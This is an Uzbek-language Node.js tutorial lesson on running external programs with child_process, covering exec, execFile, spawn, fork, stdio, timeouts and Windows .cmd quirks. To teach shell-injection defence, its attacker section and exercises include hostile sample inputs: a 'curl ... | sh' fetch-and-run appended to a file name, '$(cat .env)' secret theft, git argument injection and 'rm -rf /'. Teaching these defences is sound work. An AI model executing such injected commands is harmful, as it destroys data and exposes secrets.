IlmHamroh
JavaScript Full-stack/24-qism. Node.js25/55-dars17 daqiqa
Mundarija (27)

Node.js child_process: exec, execFile, spawn va fork bilan tashqi dasturlar

Qisqacha: node:child_process — Node'dan boshqa dasturni (git, ffmpeg, boshqa Node skripti) bola jarayon sifatida ishga tushirish moduli. To'rtta asosiy funksiya: execFile (dastur + argumentlar, natija oxirida), spawn (natija oqim bo'lib keladi), exec (butun satr shell orqali — xavfli) va fork (Node skripti + xabar almashish kanali). Qoida: foydalanuvchi matni bor joyda exec va shell: true ishlatilmaydi. Windows'da biz o'lchadik: npm.cmd ni shell'siz chaqirish — EINVAL, shell bilan — DEP0190 ogohlantirishi.

Bu darsda

  • exec, execFile, spawn va fork ning farqini bilib, vazifaga mosini tanlaysiz.
  • Bola jarayonning stdout/stderr'ini, exit kodini va xatosini to'g'ri o'qiysiz.
  • stdio sozlamasi va fork dagi IPC kanalidan foydalanasiz.
  • Shell injection qanday ishlashini ko'rib, undan himoyalanasiz.
  • Windows'dagi .cmd tuzog'ini va AbortSignal / timeout bilan to'xtatishni bilasiz.

Oldin bilishingiz kerak: process obyekti, Exit code va buyruqlarni zanjirlash, Muhit o'zgaruvchilari, PATH, timers va timers/promises.

1. Nega bu kerak?

Node hamma narsani o'zi qila olmaydi — va kerak ham emas. Video siqish uchun ffmpeg bor, versiyalar uchun git, baza nusxasi uchun pg_dump. Ular yillar davomida sayqallangan. Ularni JavaScript'da qaytadan yozish o'rniga, Node ularni ishga tushirib, natijasini olishi mumkin.

Misollar:

  • Deploy skripti git rev-parse HEAD bilan oxirgi commit hash'ini oladi.
  • Kurs platformasi yuklangan videoni ffmpeg bilan kichraytiradi.
  • valyuta testlari CLI'ning o'zini alohida jarayonda ishga tushiradi va chiqishini tekshiradi.

Lekin bu kuch bilan birga xavf ham keladi. Agar buyruq satriga foydalanuvchi yozgan matn qo'shilsa, u matn buyruqning bir qismi bo'lib qolishi mumkin. Bu — shell injection, eng xavfli zaifliklardan biri.

O'xshatish: restoran oshpazi (Node) non yopmaydi — novvoyga (tashqi dastur) buyurtma beradi. Buyurtma qog'ozini to'g'ri to'ldirsa — "2 ta non". Agar mijoz yozgan narsani to'g'ridan qog'ozga ko'chirsa — "2 ta non, kassadagi pulni ham ber" degan yozuv ham bajarilib ketishi mumkin.

2. Bola jarayon nima

Bola jarayon (child process) — sizning Node dasturingiz (ota jarayon) ishga tushirgan boshqa dastur. U operatsion tizimda alohida jarayon: o'z xotirasi, o'z PID'i, o'z stdin/stdout/stderr'i bor (process obyekti). Ota va bola o'zgaruvchilarni bo'lishmaydi — faqat oqimlar, exit kod va (fork da) xabarlar orqali gaplashadi.

flowchart LR
  P["Node (ota)"] -->|"argumentlar, env, stdin"| C["bola jarayon"]
  C -->|"stdout, stderr"| P
  C -->|"exit kod / signal"| P
  P <-.->|"IPC xabarlar (faqat fork)"| C

Diagrammada ota boladan uch narsa oladi: chiqish oqimlari, tugash kodi va (faqat fork da) xabarlar. Bolaga esa argumentlar, muhit o'zgaruvchilari va stdin beradi.

2.1 To'rt funksiya

Funksiya Nima ishga tushadi Natija qanday keladi
execFile(fayl, [arg]) dastur, shell'siz oxirida bitta satr (callback/promise)
spawn(fayl, [arg]) dastur, shell'siz oqimlar (child.stdout)
exec("butun satr") shell orqali oxirida bitta satr
fork("skript.js") Node skripti oqimlar + IPC xabarlar

Har birining …Sync varianti ham bor (execFileSync, spawnSync) — ular event loop'ni bloklaydi. CLI skriptlarida qulay, serverda — yo'q (Event loop'ni bloklash).

process.execPath — hozir ishlab turgan node dasturining to'liq yo'li. Bola sifatida "xuddi o'zimdek Node" ni ishga tushirish uchun shu ishlatiladi: PATH da qaysi node turganiga bog'liq bo'lmaydi.

3. execFile: dastur va argumentlar

3.1 Oddiy chaqiruv

js
import { execFile } from "node:child_process";
import { promisify } from "node:util";

const run = promisify(execFile);
const { stdout, stderr } = await run(process.execPath, [
  "-e",
  "console.log(2 + 3)",
]);
console.log(JSON.stringify(stdout)); // "5\n"
console.log(JSON.stringify(stderr)); // ""

promisify (Promise yordamchilari) callback'li execFile ni await qilinadigan qiladi. Natija — { stdout, stderr } satrlari. E'tibor bering: "5\n" — oxirida qator belgisi bor. Odatda .trim() qilinadi.

Birinchi argument — dastur, ikkinchisi — argumentlar massivi. Har argument dasturga alohida, o'zgarishsiz yetib boradi. Ichida bo'shliq, &, ; yoki qo'shtirnoq bo'lsa ham — u shunchaki matn.

3.2 Exit kod va xato

Bola 0 dan boshqa kod bilan tugasa, promise rad etiladi (Exit code):

js
import { execFile } from "node:child_process";
import { promisify } from "node:util";

const run = promisify(execFile);
try {
  await run(process.execPath, [
    "-e",
    "console.error('kurs topilmadi'); process.exit(3)",
  ]);
} catch (error) {
  console.log(error.code); // 3
  console.log(JSON.stringify(error.stderr)); // "kurs topilmadi\n"
}

Xato obyektida hamma kerakli narsa bor: code — exit kod, stdout va stderr — bola nimani yozib ulgurgan, signal — signal bilan o'ldirilgan bo'lsa uning nomi. error.message esa Command failed: … bilan boshlanib, to'liq buyruqni ko'rsatadi.

Dastur umuman topilmasa — boshqa xato:

js
import { execFile } from "node:child_process";
import { promisify } from "node:util";

try {
  await promisify(execFile)("bunday-dastur-yoq", []);
} catch (error) {
  console.log(error.code, "|", error.message);
}

Konsolda:

text
ENOENT | spawn bunday-dastur-yoq ENOENT

ENOENT — "Error NO ENTry", ya'ni "bunday fayl yo'q". Bu yerda code — son emas, satr. Exit kod va "ishga tushmadi" xatosini shu bilan farqlaysiz: typeof error.code === "number".

3.3 Sinxron variant

Kichik skriptda execFileSync qisqaroq:

js
import { execFileSync } from "node:child_process";

const out = execFileSync(process.execPath, ["-p", "6 * 7"], {
  encoding: "utf8",
});
console.log(out.trim()); // 42

encoding: "utf8" bo'lmasa, natija satr emas, Buffer bo'ladi (Buffer darsida ko'ramiz). Exit kod 0 bo'lmasa, execFileSync xato tashlaydi va uning status maydonida kod turadi.

Tekshirib ko'ring: catch (error) da error.code qiymati "ENOENT" bo'ldi. Bola dastur ishladimi?

Javob

Yo'q. ENOENT — dastur faylini topib bo'lmadi, jarayon umuman boshlanmadi. Agar bola ishlab, xato bilan tugaganida, error.code son (exit kod) bo'lardi.

4. spawn: oqim bilan ishlash

execFile butun chiqishni xotirada yig'adi va oxirida beradi. Sukut chegarasi — maxBuffer, 1 MB (Node hujjati); undan ko'p chiqish bo'lsa, bola o'ldiriladi. Uzoq ishlaydigan yoki katta chiqish beradigan dastur uchun spawn kerak — u stdout'ni oqim sifatida beradi:

js
import { spawn } from "node:child_process";

const code = `process.stdin.on("data",
  (d) => process.stdout.write(String(d).toUpperCase()))`;
const child = spawn(process.execPath, ["-e", code]);

child.stdin.end("osh va manti");
let out = "";
for await (const chunk of child.stdout) out += chunk;
const exitCode = await new Promise((r) => child.on("close", r));
console.log(out, exitCode); // OSH VA MANTI 0

Bu yerda uch oqim ham ishladi. Biz bolaning stdin'iga yozdik, u katta harfga o'girib stdout'ga chiqardi. Biz esa uni for await bilan o'qidik. "close" hodisasi — bola tugadi va uning hamma oqimlari yopildi; birinchi argument — exit kod.

4.1 stdio sozlamasi

Bolaning uch oqimi qayerga ulanishini stdio belgilaydi:

Qiymat Ma'nosi Qachon
"pipe" (sukut) ota o'qiydi/yozadi (child.stdout) natijani dasturda ishlatish
"inherit" otaning terminaliga to'g'ridan npm install chiqishini foydalanuvchiga ko'rsatish
"ignore" hech qayerga chiqish kerak emas

Massiv ham bo'ladi: stdio: ["pipe", "pipe", "inherit"] — stdin va stdout'ni o'zimiz boshqaramiz, xatolar esa to'g'ridan terminalga. Kanon tajribasi aynan shunday qilgan.

4.2 Boshqa foydali sozlamalar

  • cwd — bola qaysi papkada ishlaydi.
  • env — muhit o'zgaruvchilari. Diqqat: env berilsa, otaniki o'rniga faqat shu ishlatiladi. Shuning uchun { ...process.env, YANGI: "1" } ko'rinishida beriladi — valyuta testlari shunday qiladi.
  • timeout — shuncha millisekunddan keyin bolaga signal yuboriladi.
  • signal — AbortSignal (timers darsidan): bekor qilinsa, bola to'xtatiladi.
js
import { spawn } from "node:child_process";

const controller = new AbortController();
const sleeper = "setTimeout(() => {}, 5000)";
const child = spawn(process.execPath, ["-e", sleeper], {
  signal: controller.signal,
});
child.on("error", (e) => console.log("error:", e.name));
setTimeout(() => controller.abort(), 50);
const [code, signal] = await new Promise((r) =>
  child.on("close", (c, s) => r([c, s])),
);
console.log("close:", code, signal);

Konsolda:

text
error: AbortError
close: null SIGTERM

5 soniya uxlashi kerak bo'lgan bola 50 ms da to'xtadi. Exit kod null — chunki u o'zi tugamadi, uni signal (SIGTERM) to'xtatdi. Kanon xuddi shuni timeout: 300 bilan o'lchagan: spawnSync natijasida signal: SIGTERM, error: ETIMEDOUT.

Tekshirib ko'ring: 200 MB log chiqaradigan dasturni execFile bilan ishga tushirsangiz nima bo'ladi?

Javob

maxBuffer (sukut 1 MB) oshib ketadi: Node bolani to'xtatadi va xato qaytaradi. Katta chiqish uchun spawn va oqim bilan o'qish kerak — ma'lumot bo'lak-bo'lak keladi va xotirada to'planib qolmaydi.

5. fork: Node'dan Node'ga xabar

fork — spawn ning Node skriptlari uchun maxsus ko'rinishi. Asosiy farqi — IPC kanali (inter-process communication — jarayonlararo aloqa): ota va bola send() bilan obyekt yuboradi, "message" hodisasi bilan qabul qiladi.

js
import { fork } from "node:child_process";
import { writeFileSync } from "node:fs";

// bola skript: sonni olib, ikki baravarini qaytaradi
writeFileSync("bola.mjs", `process.on("message", (m) => {
  process.send({ javob: m.son * 2 });
  process.disconnect();
});`);

const child = fork("./bola.mjs");
child.send({ son: 21 });
const [message] = await new Promise((r) =>
  child.once("message", (...args) => r(args)),
);
console.log(message); // { javob: 42 }

Obyekt JSON'ga o'xshash ko'rinishda ketadi va boshqa tomonda qayta yig'iladi. process.disconnect() — bola kanalni yopadi, aks holda ochiq kanal ikkala jarayonni ham tirik ushlab turadi.

fork qachon kerak? Og'ir hisobni alohida jarayonga berish uchun — u asosiy event loop'ni bloklamaydi. Lekin har jarayon — alohida Node: o'nlab megabayt xotira va o'nlab millisekund ishga tushish vaqti (Node.js nima darsidagi node -e 0 — 73 ms). Node'da buning yengilroq yo'li ham bor — worker_threads; ko'p yadroli serverlar uchun esa cluster ichida aynan fork ishlaydi.

6. Shell injection: exec nega xavfli

6.1 Shell nima qo'shadi

exec sizning satringizni to'g'ridan dasturga bermaydi. U avval shellni ishga tushiradi (Windows'da cmd.exe, Linux'da /bin/sh) va satrni unga beradi (Terminal, shell va prompt). Shell esa satrni o'zicha tushunadi: &&, ;, |, >, $( ) — bular uning maxsus belgilari.

Foydalanuvchi ismini salomlashuvga qo'yadigan "beg'ubor" kod:

js
import { exec } from "node:child_process";
import { promisify } from "node:util";

const run = promisify(exec);
const name = "Ali && echo BUZILDI"; // foydalanuvchi yozgan matn
const { stdout } = await run(`echo Salom ${name}`);
console.log(JSON.stringify(stdout));

Biz ishga tushirdik (Windows 11, cmd.exe):

text
"Salom Ali \r\nBUZILDI\r\n"

Ikkita buyruq bajarildi! Shell && ni "birinchisi muvaffaqiyatli bo'lsa, ikkinchisini ham bajar" deb tushundi. echo BUZILDI o'rnida del, rm -rf yoki serveringizdagi sirlarni boshqa joyga yuboradigan buyruq bo'lishi mumkin edi. Linux'da /bin/sh ham && ni xuddi shunday tushunadi (biz Linux'da sinamadik; POSIX shell qoidasi).

6.2 To'g'ri yo'l: shell'siz, argument massivi bilan

Xuddi shu matn execFile ga argument sifatida berilsa:

js
import { execFile } from "node:child_process";
import { promisify } from "node:util";

const run = promisify(execFile);
const name = "Ali && echo BUZILDI";
const { stdout } = await run(process.execPath, [
  "-e",
  "console.log('Salom ' + process.argv[1])",
  name,
]);
console.log(stdout.trim()); // Salom Ali && echo BUZILDI

Bola matnni so'zma-so'z oldi — && oddiy belgi bo'lib qoldi, hech narsa bajarilmadi. Shell yo'q — talqin qiladigan ham yo'q.

7. Hujumchi nigohi

Hujumchi forma, URL parametri yoki fayl nomi orqali shell belgilarini yuboradi. Odatiy maqsadlar:

  • Buyruq qo'shish: video.mp4; curl https://example.com/x | sh — fayl nomi sifatida yuklangan "video".
  • Argument injection: shell yo'q bo'lsa ham, - bilan boshlangan matn dasturga bayroq bo'lib ketishi mumkin. Masalan git ga fayl nomi o'rnida --upload-pack=… kabi matn.
  • Ma'lumot o'g'irlash: $(cat .env) — shell uni bajaradi va natijani satrga qo'yadi.

Himoya qatlamlari:

Qatlam Nima qiladi
execFile/spawn, shell yo'q shell maxsus belgilarini talqin qilmaydi
Argument massivi har qiymat alohida, birlashtirilmaydi
-- dan keyin foydalanuvchi qiymati git log -- <fayl>: keyingisi bayroq emas, nom
Oq ro'yxat fayl nomi /^[\w.-]+$/ ga mos kelmasa — rad etish
exec ga hech qachon foydalanuvchi matni qat'iy qoida, code review'da tekshiriladi

Bu OWASP ro'yxatidagi "Injection" toifasining bir turi. Backend qismida boshqa injection turlari bilan birga yana ko'ramiz.

8. Windows: .cmd fayllar tuzog'i

Windows'da npm, npx, tsc kabi buyruqlar aslida .cmd fayl — kichik shell skripti. Kanon ularni turli yo'llar bilan chaqirib o'lchadi (natijalar/tajriba/t25-child.txt, Node 24.21.0, Windows 11):

text
npm.cmd (shell: false)   status=null error=EINVAL stdout=
npm.cmd (shell: true)    status=0 error=- stdout=11.19.0
npm (shell: false)       status=null error=ENOENT stdout=
(node:22548) [DEP0190] DeprecationWarning: Passing args to a child process with shell option true can lead to security vulnerabilities, as the arguments are not escaped, only concatenated.

Uch xil natija:

  1. npm.cmd, shell'siz → EINVAL (noto'g'ri argument). 2024-yil aprelidagi Node xavfsizlik tuzatishidan beri .cmd va .bat fayllarni faqat shell: true bilan ishga tushirish mumkin. Sababi — Windows'ning cmd.exe argumentlarni o'z qoidalari bilan qayta talqin qiladi va bu injection'ga yo'l ochardi.
  2. npm.cmd, shell: true → ishladi, lekin Node 24 DEP0190 ogohlantirishini berdi. Tarjimasi: "shell bilan bola jarayonga argument berish xavfsizlik zaifligiga olib kelishi mumkin — argumentlar ekranlanmaydi, shunchaki birlashtiriladi". Ya'ni bu aslida yana exec — injection xavfi qaytdi.
  3. npm, shell'siz → ENOENT: shell'siz Windows .cmd kengaytmasini o'zi qo'shmaydi.

Linux va macOS'da npm — oddiy bajariladigan skript, spawn("npm", …) shell'siz ishlaydi (hujjat bo'yicha; biz Linux'da o'lchamadik). Shuning uchun "mening kompyuterimda ishlaydi" degan kod Windows'da yiqiladi — yoki aksincha.

Xulosa (kanon qarori): .cmd ni chaqirishdan qoching. Node skriptini ishga tushirish kerak bo'lsa — process.execPath + JS fayl yo'li. Paketning o'z JS kirish fayli bor (masalan node_modules/typescript/bin/tsc) — shuni process.execPath bilan chaqiring. Bu barcha tizimda bir xil ishlaydi va shell yo'q.

9. CLI qadami: holat yo'q — testlarda execFile

valyuta hech qanday tashqi dasturni chaqirmaydi: kurs fetch bilan, kesh fs bilan, siqish zlib bilan — hammasi Node ichida. Tashqi dastur qo'shish — foydalanuvchi kompyuterida u bo'lishini talab qilish degani. Shuning uchun child_process ishlab chiqarish kodiga kirmadi.

Lekin u testlarda bor. process obyekti darsidan (holat 08) beri test/cli.test.ts CLI'ni haqiqiy jarayon sifatida ishga tushiradi. U yerda bu kodni tayyor nusxa sifatida olgandingiz — endi har qatorini tushunasiz (kanon kodi aynan, uzun qator):

ts
const CLI = new URL("../src/bin.ts", import.meta.url).pathname.replace(/^\/(\w:)/, "$1");

async function ishgaTushir(args: string[], env: Record<string, string> = { VALYUTA_OFFLINE: "1" }) {
  try {
    const { stdout, stderr } = await promisify(execFile)(process.execPath, [CLI, ...args], { env: { ...process.env, VALYUTA_KESH: KESH, VALYUTA_SOZLAMA: SOZLAMA, ...env } });
    return { kod: 0, stdout, stderr };
  } catch (x) {
    const e = x as { code: number; stdout: string; stderr: string };
    return { kod: e.code, stdout: e.stdout, stderr: e.stderr };
  }
}

Bu darsdagi hamma qoidalar shu yerda:

  • process.execPath — npm.cmd yoki PATH dagi node emas, aynan testni ishga tushirgan Node.
  • execFile + argumentlar massivi — shell yo'q.
  • env: { ...process.env, … } — otaning muhiti saqlanadi, ustiga test papkalari qo'shiladi.
  • Xato bo'lsa ham stdout/stderr qaytariladi — "exit 1 va to'g'ri xato matni" ham test qilinadi.

Birinchi qatordagi pathname.replace(/^\/(\w:)/, "$1") — Windows uchun qo'lda tuzatish: URL yo'li /C:/… ko'rinishida bo'ladi. Xuddi shuni fileURLToPath(new URL(…)) (node:url) toza qiladi — o'z loyihangizda shunisini ishlating.

Kanon tajribasidagi oxirgi ikki o'lchov ham shu darsga tegishli: execFileSync exit 3 bilan → xato.status === 3; timeout: 300 → signal: SIGTERM, error: ETIMEDOUT. Bu darsda commit yo'q.

10. Ko'p uchraydigan xatolar

Belgi Sabab Davosi
spawn npm ENOENT (Windows) .cmd kengaytmasiz, shell'siz process.execPath + JS kirish fayli
spawn EINVAL (Windows) .cmd shell'siz xuddi shu; shell: true emas
[DEP0190] DeprecationWarning shell: true + argumentlar massivi shell'ni olib tashlang
Chiqish oxirida \n / \r\n Dastur qator bilan tugatadi .trim()
maxBuffer length exceeded exec/execFile chiqishi > 1 MB spawn va oqim
Bolada PATH yo'q, dastur topilmaydi env faqat yangi kalitlar bilan { ...process.env, … }
Ota tugamaydi fork kanali ochiq disconnect() yoki child.kill()

11. Mashqlar

Mashqlar kurs/mashqlar/24/25-child-process/ da. Bloklar Node'da: node fayl.mjs.

1-mashq (oson): qaysi funksiya?

  • Natija katta oqim bo'lib keladi —
  • Node skripti bilan obyekt almashish —
  • Butun satr shell orqali (foydalanuvchi matni bilan — xavfli) —
  • Joriy Node dasturining yo'li — process.
  • Windows'da .cmd ni shell'siz chaqirsa — xato kodi
Yechim
  • spawn — child.stdout oqim.
  • fork — IPC kanali, send / "message".
  • exec — shell talqin qiladi.
  • execPath — PATH ga bog'liq emas.
  • EINVAL — 2024-yil xavfsizlik tuzatishidan beri.

2-mashq (o'rta): run yordamchisi

run(args) funksiyasini yozing: process.execPath ni berilgan argumentlar bilan ishga tushirsin va har holda { code, out, err } qaytarsin (exit 0 — code: 0; xato bo'lsa ham rad etmasin). out va err — trim qilingan. Sinang: -p "1+1", -e "process.exit(4)" va -e "console.error('yoq'); process.exit(1)".

Yechim
js
import { execFile } from "node:child_process";
import { promisify } from "node:util";

const execFileP = promisify(execFile);

async function run(args) {
  try {
    const node = process.execPath;
    const { stdout, stderr } = await execFileP(node, args);
    return { code: 0, out: stdout.trim(), err: stderr.trim() };
  } catch (e) {
    const out = (e.stdout ?? "").trim();
    return { code: e.code, out, err: (e.stderr ?? "").trim() };
  }
}

console.log(await run(["-p", "1+1"]));
console.log(await run(["-e", "process.exit(4)"]));
const failing = "console.error('yoq'); process.exit(1)";
console.log(await run(["-e", failing]));

Konsolda:

text
{ code: 0, out: '2', err: '' }
{ code: 4, out: '', err: '' }
{ code: 1, out: '', err: 'yoq' }

Bu — valyuta dagi ishgaTushir ning soddalashgan nusxasi. e.code exit kodi; dastur topilmasa u "ENOENT" satri bo'lardi.

3-mashq (qiyin): xavfsiz git log

Foydalanuvchi fayl nomini beradi, siz shu faylning oxirgi 3 ta commitini olishingiz kerak. Oldin xavfsizlik tekshiruvi funksiyasini yozing: safeGitArgs(file) — fayl nomi /^[\w./-]+$/ ga mos kelmasa yoki - bilan boshlansa, Error tashlasin; aks holda ["log", "-3", "--oneline", "--", file] qaytarsin. Sinang: "src/cli.ts", "a.ts; rm -rf /", "--output=x".

Yechim
js
function safeGitArgs(file) {
  if (!/^[\w./-]+$/.test(file) || file.startsWith("-")) {
    throw new Error(`Ruxsat etilmagan fayl nomi: ${file}`);
  }
  return ["log", "-3", "--oneline", "--", file];
}

for (const f of ["src/cli.ts", "a.ts; rm -rf /", "--output=x"]) {
  try {
    console.log(safeGitArgs(f).join(" "));
  } catch (e) {
    console.log(e.message);
  }
}

Konsolda:

text
log -3 --oneline -- src/cli.ts
Ruxsat etilmagan fayl nomi: a.ts; rm -rf /
Ruxsat etilmagan fayl nomi: --output=x

Uch qatlam: oq ro'yxat (; va bo'shliq o'tmaydi), - bilan boshlanmaslik (bayroq bo'lib ketmasin) va -- (git uchun "keyingisi — fayl"). Keyin execFile("git", safeGitArgs(f)) — shell'siz. Windows'da git.exe haqiqiy dastur, .cmd emas, shuning uchun shell'siz ishlaydi (biz git --version bilan tekshirdik).

4-mashq: CLI qadami — testlardagi yo'lni tozalash

O'z valyuta ingizning test/cli.test.ts faylida CLI yo'lini fileURLToPath bilan qayta yozing (.pathname.replace(…) o'rniga). npm test o'tishini tekshiring. Kanonda bu o'zgarish yo'q — bu sizning kichik yaxshilanishingiz; commit — o'zingiz xohlasangiz.

Yechim
ts
import { fileURLToPath } from "node:url";

const CLI = fileURLToPath(new URL("../src/bin.ts", import.meta.url));

fileURLToPath Windows'da C:\…\src\bin.ts, Linux'da /…/src/bin.ts beradi — qo'lda regex kerak emas. Testlar soni o'zgarmaydi (33).

12. Real ishda

  • Deploy va CI skriptlari — git, docker, pg_dump ni chaqiradigan Node skriptlari. Ko'pchilik execa kutubxonasidan foydalanadi: u spawn ustidagi qulay qobiq, Windows .cmd muammosini ham hal qiladi.
  • Media qayta ishlash — ffmpeg, ImageMagick. Ular uzoq ishlaydi va katta chiqish beradi — faqat spawn, timeout va signal bilan.
  • Xavfsizlik auditlari — exec(\… ${foydalanuvchi}`)` — code review'da birinchi qidiriladigan narsa. Statik tahlil vositalari (ESLint xavfsizlik plaginlari) ham uni ushlaydi.
  • Intervyu savoli: "exec va execFile farqi?" — shell va injection; "spawn va exec?" — oqim va 1 MB bufer chegarasi.

Xulosa

  • Bola jarayon — alohida dastur; ota bilan oqimlar, exit kod va (fork da) IPC orqali gaplashadi.
  • execFile — kichik natija; spawn — oqim va uzoq ish; fork — Node + xabarlar; exec — shell, faqat o'zingiz yozgan doimiy satr uchun.
  • Exit kod error.code (son), "ishga tushmadi" — ENOENT (satr); timeout va signal bolani to'xtatadi.
  • Foydalanuvchi matni — faqat argumentlar massivida, shell siz, -- va oq ro'yxat bilan.
  • Windows: .cmd shell'siz EINVAL, shell bilan DEP0190 — o'rniga process.execPath + JS fayl.

Keyingi dars: net, dns va tls: TCP darajasida Node — HTTP ostidagi soketlar, DNS so'rovi va TLS sertifikatini o'z qo'lingiz bilan tekshirish.

Manbalar

Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!
Node.js childprocess: exec, execFile, spawn va fork bilan tashqi dasturlar — IlmHamroh